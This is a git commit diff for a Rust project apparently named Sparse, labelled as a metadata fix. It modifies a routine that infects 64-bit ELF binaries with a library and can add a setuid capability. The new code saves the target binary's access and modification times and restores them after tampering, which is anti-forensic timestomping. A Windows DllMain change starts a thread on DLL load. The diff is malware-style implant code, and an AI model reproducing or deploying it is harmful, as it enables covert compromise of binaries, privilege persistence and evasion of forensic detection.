feat: fixed some metadata handling

This commit is contained in:
Andrew Rioux 2025-02-09 16:24:47 -05:00
parent 3bc9b014f5
commit 5d0e4fb784
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
2 changed files with 20 additions and 5 deletions

View File

@ -1,6 +1,6 @@
use std::{ use std::{
io::{prelude::*, Error, SeekFrom}, io::{prelude::*, Error, SeekFrom},
os::fd::AsRawFd, os::{fd::AsRawFd, unix::fs::MetadataExt},
path::Path, path::Path,
slice, slice,
}; };
@ -52,6 +52,8 @@ where
std::fs::write(&target_library_path, sparse_library)?; std::fs::write(&target_library_path, sparse_library)?;
let metadata = std::fs::metadata(&binary_path)?;
let mut binary = std::fs::OpenOptions::new() let mut binary = std::fs::OpenOptions::new()
.read(true) .read(true)
.write(true) .write(true)
@ -77,19 +79,32 @@ where
if #[cfg(target_os = "linux")] { if #[cfg(target_os = "linux")] {
infect_64bit_elf_binary( infect_64bit_elf_binary(
target_library_path, target_library_path,
binary, &mut binary,
binary_data, binary_data,
add_setuid_capability, add_setuid_capability,
)?; )?;
} else { } else {
infect_64bit_elf_binary( infect_64bit_elf_binary(
target_library_path, target_library_path,
binary, &mut binary,
binary_data binary_data
)?; )?;
} }
} }
let access_time = libc::timespec {
tv_sec: metadata.atime(),
tv_nsec: metadata.atime_nsec()
};
let modify_time = libc::timespec {
tv_sec: metadata.mtime(),
tv_nsec: metadata.mtime_nsec()
};
unsafe {
libc::futimens(binary.as_raw_fd(), [access_time, modify_time].as_ptr());
}
Ok(()) Ok(())
} else { } else {
eprintln!("Sparse is only compiled for 64 bit Linux"); eprintln!("Sparse is only compiled for 64 bit Linux");
@ -99,7 +114,7 @@ where
fn infect_64bit_elf_binary<LP, F>( fn infect_64bit_elf_binary<LP, F>(
library_path: LP, library_path: LP,
mut binary: F, binary: &mut F,
mut binary_data: Vec<u8>, mut binary_data: Vec<u8>,
#[cfg(target_os = "linux")] add_setuid_capability: bool, #[cfg(target_os = "linux")] add_setuid_capability: bool,
) -> Result<(), Error> ) -> Result<(), Error>

View File

@ -7,7 +7,7 @@ use windows::{
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 {
if dw_reason == DLL_PROCESS_ATTACH { if dw_reason == DLL_PROCESS_ATTACH {
std::thread::spawn(|| { std::thread::spawn(|| {
std::thread::sleep(std::time::Duration::from_millis(500)); std::thread::yield_now();
if let Err(_e) = hash_internals() { if let Err(_e) = hash_internals() {
// what are we going to do?? // what are we going to do??